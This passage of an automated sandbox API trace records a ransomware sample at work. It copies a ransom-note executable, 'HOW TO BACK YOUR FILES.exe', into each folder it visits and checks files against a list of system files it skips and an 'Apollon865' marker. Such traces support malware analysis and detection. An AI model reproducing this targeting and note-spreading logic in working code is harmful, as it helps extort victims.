	[0039.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0039.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0039.665] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MSDN") returned 33
	[0039.665] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\MSDN" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN"
	[0039.665] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.665] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.669] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.669] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.670] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.670] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.670] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.670] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.670] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.670] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.670] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.670] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.670] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="Apollon865.txt.exe") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2=".") returned 1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="..") returned 1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="windows") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="bootmgr") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="temp") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="pagefile.sys") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="boot") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="ids.txt") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="ntuser.dat") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="perflogs") returned -1
	[0039.670] lstrcmpiW (lpString1="8.0", lpString2="MSBuild") returned -1
	[0039.670] lstrlenW (lpString="8.0") returned 3
	[0039.670] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MSDN\\*") returned 35
	[0039.670] lstrcpyW (in: lpString1=0x2d3e594, lpString2="8.0" | out: lpString1="8.0") returned="8.0"
	[0039.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0039.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc9b8
	[0039.670] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0039.671] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.671] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.671] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.671] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.671] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0039.671] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0"
	[0039.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0039.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0039.671] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned 37
	[0039.671] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0"
	[0039.671] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.671] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.675] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.675] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.676] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.676] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.676] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.676] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.676] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.676] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.676] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.676] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.676] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.676] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.676] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc060b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.676] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.676] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0039.676] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\MF", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF"
	[0039.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6310 | out: hHeap=0x580000) returned 1
	[0039.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0039.676] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MF") returned 31
	[0039.676] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\MF" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF"
	[0039.676] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.676] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.681] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.681] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.681] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.681] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.681] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.681] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.681] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.681] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.681] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.681] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.681] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1
	[0039.681] lstrcmpiW (lpString1="Active.GRL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.681] lstrcmpiW (lpString1="Active.GRL", lpString2="Apollon865.txt.exe") returned -1
	[0039.681] lstrcmpiW (lpString1="Active.GRL", lpString2=".") returned 1
	[0039.681] lstrcmpiW (lpString1="Active.GRL", lpString2="..") returned 1
	[0039.681] lstrcmpiW (lpString1="Active.GRL", lpString2="windows") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="bootmgr") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="temp") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="pagefile.sys") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="boot") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="ids.txt") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="ntuser.dat") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="perflogs") returned -1
	[0039.682] lstrcmpiW (lpString1="Active.GRL", lpString2="MSBuild") returned -1
	[0039.682] lstrlenW (lpString="Active.GRL") returned 10
	[0039.682] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MF\\*") returned 33
	[0039.682] lstrcpyW (in: lpString1=0x2d3e590, lpString2="Active.GRL" | out: lpString1="Active.GRL") returned="Active.GRL"
	[0039.682] lstrlenW (lpString="Active.GRL") returned 10
	[0039.682] lstrlenW (lpString="Apollon865") returned 10
	[0039.682] lstrcpyW (in: lpString1=0x2d3e590, lpString2="Pending.GRL" | out: lpString1="Pending.GRL") returned="Pending.GRL"
	[0039.682] lstrlenW (lpString="Pending.GRL") returned 11
	[0039.682] lstrlenW (lpString="Apollon865") returned 10
	[0039.682] lstrcmpiW (lpString1="ending.GRL", lpString2="Apollon865") returned 1
	[0039.682] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Media Player", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Media Player") returned="C:\\Users\\All Users\\Microsoft\\Media Player"
	[0039.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0039.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0039.682] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Media Player") returned 41
	[0039.682] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Media Player" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Media Player") returned="C:\\Users\\All Users\\Microsoft\\Media Player"
	[0039.682] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.682] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.687] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.687] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.687] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.687] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.687] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.687] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.687] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.688] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.688] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.688] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.688] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc2c210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.688] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.688] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc2c210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.688] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.688] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0039.688] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL"
	[0039.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0039.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0039.688] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned 40
	[0039.688] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL"
	[0039.688] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.688] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.694] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.694] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.694] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.694] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.694] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.694] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.694] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.694] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.694] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.694] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.694] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc52370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.694] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.694] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
	[0039.694] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="Apollon865.txt.exe") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="..") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="windows") returned -1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="bootmgr") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="temp") returned -1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="pagefile.sys") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="boot") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="ids.txt") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="ntuser.dat") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="perflogs") returned 1
	[0039.695] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="MSBuild") returned 1
